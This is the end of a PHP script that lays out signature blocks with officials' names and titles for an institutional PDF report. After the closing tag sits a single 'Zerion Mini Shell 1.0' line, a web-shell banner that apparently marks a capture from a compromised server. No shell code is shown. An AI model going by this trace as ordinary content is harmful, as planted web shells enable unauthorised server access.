    $pdf->Cell(280, 5, utf8_decode('______________________________________________'), 0, 1, 'C', 0);

    $pdf->SetFont('helvetica', 'B', 9);

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('ROBERTO LÓPEZ TAVERA'), 0, 1, 'C', 0);

    

    $pdf->Cell(109, 5, utf8_decode(''), 0, 0, 'C', 0);

    $pdf->Cell(60, 5, utf8_decode('' . $rst1[0]['puesto'] . ''), 0, 1, 'C', 0);

}



$pdf->WriteHTML('<br>');

$pdf->WriteHTML('<br>');



$pdf->SetFont('helvetica', 'B', 9);

$pdf->Cell(93.33, 5, utf8_decode('ELABORÓ'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('REVISÓ'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('VoBo'), 0, 1, 'C', 0);

$pdf->WriteHTML('<br>');

$pdf->SetFont('helvetica', '', 9);

$pdf->Cell(93.33, 5, utf8_decode('______________________________________________'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('______________________________________________'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('______________________________________________'), 0, 1, 'C', 0);

$pdf->SetFont('helvetica', 'B', 9);

$pdf->Cell(93.33, 5, utf8_decode('LIC. JESÚS ESTEBAN RIVERA ORTIZ'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('MTRO. LOGAN GUSTAVO MEZA HERRERA'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('M. EN F. MARIO PINEDA BAÑUELOS'), 0, 1, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('COORDINADOR DE SERVICIOS GENERALES'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode(' SECRETARIO ADMINISTRATIVO'), 0, 0, 'C', 0);

$pdf->Cell(93.33, 5, utf8_decode('TITULAR DEL ÓRGANO INTERNO DE CONTROL'), 0, 1, 'C', 0);



$pdf->Output();



?>

Zerion Mini Shell 1.0